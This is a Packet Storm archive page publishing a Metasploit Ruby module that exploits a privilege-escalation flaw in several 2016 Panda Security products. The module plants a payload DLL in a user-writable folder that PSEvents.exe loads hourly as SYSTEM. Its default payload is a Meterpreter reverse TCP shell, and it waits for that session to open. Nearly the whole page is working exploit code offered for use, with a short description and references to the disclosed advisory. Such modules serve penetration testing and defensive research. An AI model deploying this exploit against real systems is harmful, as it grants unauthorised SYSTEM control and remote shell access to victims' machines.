exploit the possibilities

Panda Security PSEvents Privilege Escalation

Panda Security PSEvents Privilege Escalation
Posted Oct 22, 2016
Authored by h00die | Site metasploit.com

PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. When run, it checks a user writable folder for certain DLL files, and if any are found they are automatically run. Vulnerable products include Panda Global Protection 2016 versions 16.1.2 and below, Panda Antivirus Pro 2016 versions 16.1.2 and below, Panda Small Business Protection versions 16.1.2 and below, and Panda Internet Security 2016 versions 16.1.2 and below.

tags | exploit
SHA-256 | 675a9794c4c179230ddd016c62462e8da69b4d5e807de5679903fd32ada74613

Panda Security PSEvents Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Exploit::EXE
include Exploit::FileDropper
include Post::File

def initialize(info={})
super( update_info( info,
'Name' => 'Panda Security PSEvents Privilege Escalation',
'Description' => %q{
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
When run, it checks a user writable folder for certain DLL files, and if any are found
they are automatically run.
Vulnerable Products:
Panda Global Protection 2016 (<=16.1.2)
Panda Antivirus Pro 2016 (<=16.1.2)
Panda Small Busines Protetion (<=16.1.2)
Panda Internet Security 2016 (<=16.1.2)
},
'License' => MSF_LICENSE,
'Author' => [
"h00die <mike@shorebreaksecurity.com>", # Module,
'Security-Assessment.com' # discovery
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'payload' => 'windows/meterpreter/reverse_tcp',
'exitfunc' => 'seh'
},
'References' => [
[
'EDB', '40020',
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
]
],
'DisclosureDate'=> 'Jun 27 2016'
))
register_options(
[
OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',
['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
], self.class)
end

def get_path()
case sysinfo['OS']
when /Windows (7|8|10|2012|2008)/
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
when /Windows (NT|XP)/
return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
end
end

def check
if directory?(get_path())
print_good('Vuln path exists')
CheckCode::Appears
else
vprint_error("#{get_path()} doesn't exist on target")
CheckCode::Safe
end
end

def exploit
vprint_status("OS Detected as: #{sysinfo['OS']}")

payload_filepath = get_path()
payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"
upload_payload_dll(payload_filepath)

# start the hour wait
stime = Time.now.to_f
print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
print_status "Start Time: #{Time.now.to_s}"
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
end

def upload_payload_dll(payload_filepath)
payload = generate_payload_dll()
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
register_file_for_cleanup(payload_filepath)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
end
end
end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close